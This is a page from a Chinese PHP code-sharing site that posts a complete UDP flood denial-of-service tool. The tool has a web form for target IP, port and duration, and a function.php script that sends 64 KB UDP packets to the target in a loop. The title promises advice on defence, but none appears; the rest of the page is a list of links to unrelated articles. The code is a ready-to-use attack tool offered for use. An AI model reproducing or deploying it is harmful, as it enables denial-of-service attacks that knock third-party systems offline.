php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
15个小时----从修改程序到自己些程序
Oct 09 PHP
php array_slice函数的使用以及参数详解
Aug 30 PHP
snoopy 强大的PHP采集类使用实例代码
Dec 09 PHP
Session服务器配置指南与使用经验的深入解析
Jun 17 PHP
php curl模拟post请求小实例
Nov 13 PHP
php上传图片存入数据库示例分享
Mar 11 PHP
php加速器eAccelerator的配置参数、API详解
May 05 PHP
android上传图片到PHP的过程详解
Aug 03 PHP
PHP中使用array函数新建一个数组
Nov 19 PHP
php 中的closure用法详解
Jun 12 PHP
php实现姓名根据首字母排序的类与方法(实例代码)
May 16 PHP
gearman管理工具GearmanManager的安装与php使用方法示例
Feb 27 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
百度站点地图(百度sitemap)生成方法分享
2014/01/09 PHP
让codeigniter与swfupload整合的最佳解决方案
2014/06/12 PHP
基于jquery的模态div层弹出效果
2010/08/21 Javascript
jquery 与NVelocity 产生冲突的解决方法
2011/06/13 Javascript
JSON无限折叠菜单编写实例
2013/12/16 Javascript
鼠标移入移出事件改变图片的分辨率的两种方法
2013/12/17 Javascript
jquery的ajax简单结构示例代码
2014/02/17 Javascript
javascript操作referer详细解析
2014/03/10 Javascript
利用jquery动画特效和css打造的侧边弹出垂直导航
2014/04/04 Javascript
fckeditor粘贴Word时弹出窗口取消的方法
2014/10/30 Javascript
angularJS提交表单(form)
2015/02/09 Javascript
JavaScript更改字符串的大小写
2015/05/07 Javascript
在JavaScript中处理字符串之link()方法的使用
2015/06/08 Javascript
javascript轻量级库createjs使用Easel实现拖拽效果
2016/02/19 Javascript
微信小程序实现之手势锁功能实例代码
2018/07/19 Javascript
layui radio点击事件实现input显示和隐藏的例子
2019/09/02 Javascript
Node使用Selenium进行前端自动化操作的代码实现
2019/10/10 Javascript
如何使用webpack打包一个库library的方法步骤
2019/12/18 Javascript
[01:04:29]DOTA2-DPC中国联赛 正赛 Phoenix vs XG BO3 第二场 1月31日
2021/03/11 DOTA
Python使用urllib2模块实现断点续传下载的方法
2015/06/17 Python
Python函数式编程指南(四):生成器详解
2015/06/24 Python
Python实现PS滤镜功能之波浪特效示例
2018/01/26 Python
centos 安装python3.6环境并配置虚拟环境的详细教程
2018/02/22 Python
Python把对应格式的csv文件转换成字典类型存储脚本的方法
2019/02/12 Python
GDAL 矢量属性数据修改方式(python)
2020/03/10 Python
python 下划线的不同用法
2020/10/24 Python
CSS3中31种选择器使用方法教程
2013/12/05 HTML / CSS
土耳其时尚购物网站:Morhipo
2017/09/04 全球购物
Ever New美国:澳大利亚领先的女装时尚品牌
2019/11/28 全球购物
Lentiamo丹麦:购买便宜的隐形眼镜
2021/01/13 全球购物
shell的种类有哪些
2015/04/15 面试题
继电保护工岗位职责
2014/01/05 职场文书
法制宣传日活动总结
2014/04/29 职场文书
公司领导班子对照材料
2014/08/18 职场文书
计划生育证明书写要求
2014/09/17 职场文书
4S店客服专员岗位职责
2015/04/07 职场文书